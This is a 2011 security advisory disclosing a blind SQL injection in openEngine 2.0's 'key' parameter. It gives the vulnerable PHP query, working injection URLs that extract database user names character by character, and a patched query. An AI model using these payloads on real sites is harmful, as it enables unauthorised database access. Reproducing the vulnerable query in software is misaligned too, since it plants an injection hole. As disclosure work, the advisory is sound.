openEngine 2.0 'key' Blind SQL Injection vulnerability

[sschurtz () t-online de]

Advisory:               openEngine 2.0 'key' Blind SQL Injection vulnerability
Advisory ID:            SSCHADV2011-026
Author:                 Stefan Schurtz
Affected Software:      Successfully tested on openEngine 2.0 100226
Vendor URL:             http://www.openengine.de/
Vendor Status:          informed
CVE-ID:                 -

==========================
Vulnerability Description
==========================

The 'key' parameter in openEngine 2.0 is prone to a Blind SQL Injection

==================
Technical Details
==================

# vul code in 'openengine/cms/system/02_page/includes/admin.php' 

$query = "SELECT * FROM ".$db_praefix."page WHERE (page_key = $page_key) AND (page_status <= ".$account_status.") 
$access";

==================
Exploit
==================

# Database information
User: easy

# Blind SQL Injection

http://<target>/openengine/cms/website.php?id=/de/sendpage.htm&key=-1 OR 1=2 -> "Sie m?chten die Seite versenden."
http://<target>/openengine/cms/website.php?id=/de/sendpage.htm&key=-1 OR 1=1 -> "Sie m?chten die Seite Homepage (de) 
versenden."

# User-Guessing

http://<target>/openengine/cms/website.php?id=/de/sendpage.htm&key=-1 OR ORD(MID((SELECT DISTINCT(IFNULL(CAST(grantee 
AS CHAR),CHAR(32))) FROM information_schema.USER_PRIVILEGES LIMIT 4,1),2,1)) = 101 
http://<target>/openengine/cms/website.php?id=/de/sendpage.htm&key=-1 OR ORD(MID((SELECT DISTINCT(IFNULL(CAST(grantee 
AS CHAR),CHAR(32))) FROM information_schema.USER_PRIVILEGES LIMIT 4,1),3,1)) = 97
http://<target>/openengine/cms/website.php?id=/de/sendpage.htm&key=-1 OR ORD(MID((SELECT DISTINCT(IFNULL(CAST(grantee 
AS CHAR),CHAR(32))) FROM information_schema.USER_PRIVILEGES LIMIT 4,1),4,1)) = 115
http://<target>/openengine/cms/website.php?id=/de/sendpage.htm&key=-1 OR ORD(MID((SELECT DISTINCT(IFNULL(CAST(grantee 
AS CHAR),CHAR(32))) FROM information_schema.USER_PRIVILEGES LIMIT 4,1),5,1)) = 121

=========
Solution
=========

$query = sprintf("SELECT * FROM ".$db_praefix."page WHERE (page_key = %d) AND (page_status <= ".$account_status.") 
$access;",$page_key);

====================
Disclosure Timeline
====================

08-Oct-2011 - informed developers
08-Oct-2011 - release date of this security advisory

========
Credits
========

Vulnerability found and advisory written by Stefan Schurtz.

===========
References
===========

http://www.openengine.de/
http://www.rul3z.de/advisories/SSCHADV2011-026.txt
http://www.rul3z.de/advisories/SSCHADV2011-019.txt